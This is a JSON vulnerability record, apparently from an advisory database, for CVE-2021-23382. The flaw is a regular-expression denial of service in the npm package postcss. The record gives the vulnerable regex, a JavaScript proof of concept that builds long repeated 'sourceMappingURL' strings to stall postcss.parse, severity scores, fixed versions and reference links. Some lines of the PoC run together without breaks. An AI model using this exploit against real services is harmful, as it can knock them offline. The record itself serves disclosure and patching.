{"id":"CVE-2021-23382","aliases":["GHSA-566m-qj78-rww5"],"url":"https://o3.security/vulnerability/CVE-2021-23382","summary":"Regular Expression Denial of Service in postcss","details":"The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i < n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```","published":"2021-04-26T16:15:07.330Z","modified":"2026-08-07T15:13:59.178374Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.02508,"percentile":0.83445,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"postcss","fixedVersion":"8.2.13"},{"ecosystem":"npm","name":"postcss","fixedVersion":"7.0.36"}],"fix":{"url":"https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956","label":"postcss/postcss@2b1d04c"},"references":[{"type":"FIX","url":"https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956"},{"type":"FIX","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641"},{"type":"FIX","url":"https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23382"},{"type":"WEB","url":"https://github.com/postcss/postcss/releases/tag/7.0.36"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-07T15:13:59.178374Z"}}